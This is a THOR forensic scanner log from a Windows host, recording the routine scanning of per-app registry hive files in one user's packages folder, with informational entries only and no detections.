Sep 10 12:25:30 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.RawImageExtension_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:25:30 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.RawImageExtension_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:25:30 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.ScreenSketch_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:25:30 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.ScreenSketch_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:25:30 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.SecHealthUI_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:25:30 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.StorePurchaseApp_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:25:30 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.StorePurchaseApp_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:25:30 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.Todos_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:25:31 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.VP9VideoExtensions_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:25:31 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.WebMediaExtensions_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:25:31 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.WebpImageExtension_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:25:31 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.Win32WebViewHost_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:25:31 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.Windows.Apprep.ChxApp_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:25:31 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:25:31 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.Windows.CallingShellApp_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:25:31 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.Windows.CapturePicker_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:25:31 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:25:32 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:25:32 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.Windows.DevHome_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:25:32 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.Windows.DevHome_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:25:32 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.Windows.NarratorQuickStart_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:25:32 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.Windows.ParentalControls_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:25:32 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:25:32 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.Windows.Photos_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:25:32 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.Windows.Photos_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:25:32 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.Windows.PinningConfirmationDialog_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:25:33 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.Windows.PrintQueueActionCenter_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:25:33 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:25:33 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:25:33 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\Settings\settings.dat.LOG1
Sep 10 12:25:33 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:25:33 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\Settings\settings.dat.LOG1
Sep 10 12:25:33 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\Settings\settings.dat.LOG2
Sep 10 12:25:33 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.Windows.XGpuEjectDialog_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:25:33 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.WindowsAlarms_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:25:33 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.WindowsAlarms_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:25:33 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.WindowsCalculator_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:25:33 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.WindowsCamera_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:25:33 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.WindowsCamera_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:25:33 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:25:34 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:25:34 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.WindowsMaps_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:25:34 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:25:34 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:25:34 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\SystemAppData\Helium\User.dat
Sep 10 12:25:34 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\SystemAppData\Helium\User.dat.LOG1
Sep 10 12:25:34 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\SystemAppData\Helium\UserClasses.dat
Sep 10 12:25:34 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\SystemAppData\Helium\UserClasses.dat.LOG1
Sep 10 12:25:34 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:25:34 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:25:34 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.WindowsStore_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:25:34 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.WindowsStore_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:25:34 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.WindowsTerminal_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:25:34 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.Xbox.TCUI_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:25:34 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.XboxGameCallableUI_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:25:34 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.XboxGameOverlay_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:25:35 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.XboxGamingOverlay_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:25:35 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.XboxGamingOverlay_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:25:35 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.XboxIdentityProvider_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:25:35 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.XboxSpeechToTextOverlay_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:25:35 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.YourPhone_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:25:35 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.YourPhone_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:25:35 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.YourPhone_8wekyb3d8bbwe\Settings\settings.dat.LOG2
Sep 10 12:25:35 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.YourPhone_8wekyb3d8bbwe\SystemAppData\Helium\User.dat
Sep 10 12:25:35 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.YourPhone_8wekyb3d8bbwe\SystemAppData\Helium\User.dat.LOG1
Sep 10 12:25:35 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.ZuneMusic_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:25:35 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Microsoft.ZuneVideo_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:25:36 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\MicrosoftCorporationII.QuickAssist_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:25:36 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\MicrosoftCorporationII.QuickAssist_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:25:42 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:25:42 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\Settings\settings.dat.LOG1
Sep 10 12:25:42 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\Settings\settings.dat.LOG2
Sep 10 12:25:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:25:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\Settings\settings.dat.LOG1
Sep 10 12:25:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\Settings\settings.dat.LOG2
Sep 10 12:25:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\SystemAppData\Helium\User.dat
Sep 10 12:25:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\SystemAppData\Helium\User.dat.LOG1
Sep 10 12:25:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\SystemAppData\Helium\User.dat.LOG2
Sep 10 12:25:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\SystemAppData\Helium\UserClasses.dat
Sep 10 12:25:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\SystemAppData\Helium\UserClasses.dat.LOG1
Sep 10 12:25:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\SystemAppData\Helium\UserClasses.dat.LOG2
Sep 10 12:25:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\MicrosoftWindows.CrossDevice_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:25:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\MicrosoftWindows.CrossDevice_cw5n1h2txyewy\Settings\settings.dat.LOG1
Sep 10 12:25:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\NcsiUwpApp_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:25:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\NotepadPlusPlus_7njy0v32s6xk6\Settings\settings.dat
Sep 10 12:25:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\NotepadPlusPlus_7njy0v32s6xk6\SystemAppData\Helium\User.dat
Sep 10 12:25:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\NotepadPlusPlus_7njy0v32s6xk6\SystemAppData\Helium\User.dat.LOG1
Sep 10 12:25:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\NotepadPlusPlus_7njy0v32s6xk6\SystemAppData\Helium\UserClasses.dat
Sep 10 12:25:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\NotepadPlusPlus_7njy0v32s6xk6\SystemAppData\Helium\UserClasses.dat.LOG1
Sep 10 12:25:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Windows.CBSPreview_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:25:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\Windows.PrintDialog_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:25:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:25:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:25:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:25:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\Settings\settings.dat.LOG2
Sep 10 12:25:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\j-taylor\AppData\Local\Packages\windows.immersivecontrolpanel_cw5n1h2txyewy\Settings\settings.dat
